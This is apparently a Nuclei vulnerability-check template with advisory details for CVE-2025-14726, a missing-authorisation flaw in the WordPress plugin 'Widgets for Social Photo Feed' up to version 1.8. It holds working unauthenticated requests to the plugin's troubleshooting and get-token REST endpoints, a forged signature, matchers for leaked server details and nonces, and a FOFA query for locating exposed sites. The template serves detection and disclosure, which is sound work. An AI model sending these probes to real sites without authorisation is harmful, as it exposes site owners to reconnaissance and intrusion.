CVE-2025-14726: WordPress Widgets for Social Photo Feed <= 1.8 - Information Disclosure

Description

Widgets for Social Photo Feed WordPress plugin <= 1.8 contains a broken access control caused by missing capability checks on specific REST API endpoints, letting unauthenticated attackers access and modify plugin settings remotely.

PoC

id: CVE-2025-14726

info:
  name: WordPress Widgets for Social Photo Feed <= 1.8 - Information Disclosure
  author: 0x_Akoko
  severity: medium
  description: |
   Widgets for Social Photo Feed WordPress plugin <= 1.8 contains a broken access control caused by missing capability checks on specific REST API endpoints, letting unauthenticated attackers access and modify plugin settings remotely.
  impact: |
   Unauthenticated attackers can access and modify plugin settings, potentially compromising site integrity and data.
  remediation: |
   Update to the latest version beyond 1.8
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/social-photo-feed-widget/widgets-for-social-photo-feed-18-missing-authentication-to-unauthenticated-plugin-settings-accessupdate-via-trustindex-feed-hook-instagram-rest-api-endpoints
    - https://wordpress.org/plugins/social-photo-feed-widget/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14726
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
    cvss-score: 6.5
    cve-id: CVE-2025-14726
    epss-score: 0.0083
    epss-percentile: 0.55757
    cwe-id: CWE-200,CWE-862
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="/wp-content/plugins/social-photo-feed-widget/"
  tags: cve,cve2025,wp,wordpress,wp-plugin,social-photo-feed-widget,disclosure

flow: http(1) || http(2)

variables:
  ts: "{{unix_time()}}"
  sig: "{{hmac('sha256','{{ts}}','test')}}"

http:
  - raw:
      - |
        GET /wp-json/trustindex_feed_hook_instagram/troubleshooting?data[public_id]=test HTTP/1.1
        Host: {{Hostname}}
        X-Timestamp: {{ts}}
        X-Signature: {{sig}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "WP Version:", "PHP Info:", "MySQL Version:", "Active Theme:", "Plugins:")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-json/trustindex_feed_hook_instagram/get-token HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/json")'
          - 'contains(body, "nonce")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100c33cbfae5108764b1a90a47877661ae24b44beac1c82aea201e30a211e0c9a6502206bd4e4b830d4626ed9697fb7adb19be4f31d90973dceba47b70f56ea0c2e6baa:922c64590222798bb761d5b6d8e72950

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